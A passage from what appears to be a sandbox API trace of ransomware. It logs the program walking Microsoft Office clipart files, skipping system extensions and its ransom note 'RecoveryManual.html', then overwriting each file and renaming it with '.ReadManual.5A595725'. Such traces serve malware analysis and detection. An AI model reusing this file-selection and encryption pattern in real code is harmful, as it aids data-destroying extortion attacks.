Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0272.418] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1930) returned 1 [0272.418] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x78a, lpName=0x0) returned 0x184 [0272.418] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0272.419] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.419] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0272.460] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0272.460] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x78a) returned 0x2f0000 [0272.461] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0272.461] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39312940500) returned 1 [0272.461] CloseHandle (hObject=0x184) returned 1 [0272.461] SetSecurityInfo () returned 0x57 [0272.461] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0272.461] CloseHandle (hObject=0x194) returned 1 [0272.461] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14937f00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14937f00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x1020, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE04050_.WMF", cAlternateFileName="")) returned 1 [0272.461] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE04050_.WMF" | out: lpString1="PE04050_.WMF") returned="PE04050_.WMF" [0272.461] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="RecoveryManual.html") returned -1 [0272.461] StrStrIW (lpFirst="PE04050_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0272.461] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0272.461] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0272.461] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0272.461] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0272.461] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0272.461] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0272.461] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0272.461] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0272.461] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0272.461] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0272.461] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0272.461] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0272.461] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0272.461] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0272.461] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" [0272.461] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.ReadManual.5A595725" [0272.462] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.ReadManual.5A595725") returned 87 [0272.462] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39313034111) returned 1 [0272.462] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf")) returned 0x20 [0272.462] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0272.462] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4128) returned 1 [0272.462] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1020, lpName=0x0) returned 0x184 [0272.462] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0272.463] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.463] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0272.507] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0272.508] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1020) returned 0x2f0000 [0272.508] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0272.508] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39317656755) returned 1 [0272.508] CloseHandle (hObject=0x184) returned 1 [0272.508] SetSecurityInfo () returned 0x57 [0272.508] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0272.508] CloseHandle (hObject=0x194) returned 1 [0272.508] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE05665_.WMF", cAlternateFileName="")) returned 1 [0272.508] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE05665_.WMF" | out: lpString1="PE05665_.WMF") returned="PE05665_.WMF" [0272.508] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="RecoveryManual.html") returned -1 [0272.508] StrStrIW (lpFirst="PE05665_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0272.508] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0272.508] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0272.508] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0272.508] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0272.508] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0272.508] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0272.508] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0272.508] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0272.508] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0272.509] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0272.509] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0272.509] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0272.509] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0272.509] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0272.509] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" [0272.509] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.ReadManual.5A595725" [0272.509] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.ReadManual.5A595725") returned 87 [0272.509] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39317754757) returned 1 [0272.509] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf")) returned 0x20 [0272.509] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0272.510] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14328) returned 1 [0272.510] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x37f8, lpName=0x0) returned 0x184 [0272.510] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0272.510] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.510] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0272.554] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0272.554] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x37f8) returned 0x2f0000 [0272.555] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0272.555] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39322351120) returned 1 [0272.555] CloseHandle (hObject=0x184) returned 1 [0272.555] SetSecurityInfo () returned 0x57 [0272.555] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0272.555] CloseHandle (hObject=0x194) returned 1 [0272.555] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f24df00, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f24df00, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x167c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE05710_.WMF", cAlternateFileName="")) returned 1 [0272.555] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE05710_.WMF" | out: lpString1="PE05710_.WMF") returned="PE05710_.WMF" [0272.555] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="RecoveryManual.html") returned -1 [0272.555] StrStrIW (lpFirst="PE05710_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0272.555] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0272.555] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0272.555] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0272.555] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0272.555] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0272.555] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0272.555] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0272.555] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0272.555] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0272.555] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0272.555] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0272.555] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0272.556] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0272.556] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0272.556] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" [0272.556] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.ReadManual.5A595725" [0272.556] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.ReadManual.5A595725") returned 87 [0272.556] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39322443443) returned 1 [0272.556] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf")) returned 0x20 [0272.556] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0272.556] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5756) returned 1 [0272.556] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x167c, lpName=0x0) returned 0x184 [0272.557] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0272.557] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.557] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0272.602] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0272.602] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x167c) returned 0x2f0000 [0272.602] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0272.602] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39327106247) returned 1 [0272.602] CloseHandle (hObject=0x184) returned 1 [0272.602] SetSecurityInfo () returned 0x57 [0272.603] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0272.603] CloseHandle (hObject=0x194) returned 1 [0272.603] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49073b00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49073b00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE05869_.WMF", cAlternateFileName="")) returned 1 [0272.603] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE05869_.WMF" | out: lpString1="PE05869_.WMF") returned="PE05869_.WMF" [0272.603] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="RecoveryManual.html") returned -1 [0272.603] StrStrIW (lpFirst="PE05869_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0272.603] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0272.603] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0272.603] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0272.603] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0272.603] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0272.603] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0272.603] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0272.603] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0272.603] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0272.603] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0272.603] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0272.603] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0272.603] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0272.603] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0272.603] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" [0272.603] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.ReadManual.5A595725" [0272.603] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.ReadManual.5A595725") returned 87 [0272.603] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39327200451) returned 1 [0272.603] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf")) returned 0x20 [0272.648] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0272.648] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1544) returned 1 [0272.648] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x608, lpName=0x0) returned 0x184 [0272.648] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0272.649] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.649] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.015] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.016] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x608) returned 0x2f0000 [0273.016] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.016] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39368453007) returned 1 [0273.016] CloseHandle (hObject=0x184) returned 1 [0273.016] SetSecurityInfo () returned 0x57 [0273.016] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.016] CloseHandle (hObject=0x194) returned 1 [0273.016] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44428700, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44428700, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE05870_.WMF", cAlternateFileName="")) returned 1 [0273.016] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE05870_.WMF" | out: lpString1="PE05870_.WMF") returned="PE05870_.WMF" [0273.016] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="RecoveryManual.html") returned -1 [0273.016] StrStrIW (lpFirst="PE05870_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.016] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0273.016] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0273.016] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0273.016] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0273.016] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0273.016] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0273.016] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0273.016] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0273.016] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0273.017] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0273.017] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0273.017] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0273.017] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0273.017] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0273.017] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" [0273.017] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.ReadManual.5A595725" [0273.017] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.ReadManual.5A595725") returned 87 [0273.017] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39368555535) returned 1 [0273.017] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf")) returned 0x20 [0273.018] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.019] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1588) returned 1 [0273.019] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x634, lpName=0x0) returned 0x184 [0273.019] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.020] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.020] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.146] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.146] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x634) returned 0x2f0000 [0273.147] 